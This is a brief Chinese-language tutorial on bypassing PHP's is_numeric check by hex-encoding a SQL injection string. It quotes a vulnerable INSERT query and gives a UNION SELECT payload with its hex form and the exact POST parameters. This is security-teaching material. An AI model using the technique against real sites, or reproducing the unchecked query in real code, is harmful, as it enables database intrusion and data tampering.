1.4.1 is_number函数的sql注入绕过

01 is_numeric 绕过: 绕过is_numeric,通过把sql注入语句转成hex,因为mysql会把hex转成string,php会当成数字

这里有个例子: 图1.1

02 问题出现在if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id'])) 如果能绕过is_numeric,就可以执行mysql_query("INSERT INTO vote VALUES ({$id}, {$vote}, '{$login}')"); 注入sql语句。

999999999999 union all (select 'Hello!!')

转成

hex=0x39393939393939393939393920756e696f6e20616c6c202873656c656374202748656c6c6f21212729

03 我们提交的参数:

vote=1&submit=&id=0x39393939393939393939393920756e696f6e20616c6c202873656c656374202748656c6c6f21212729

图1.2

results matching ""

    No results matching ""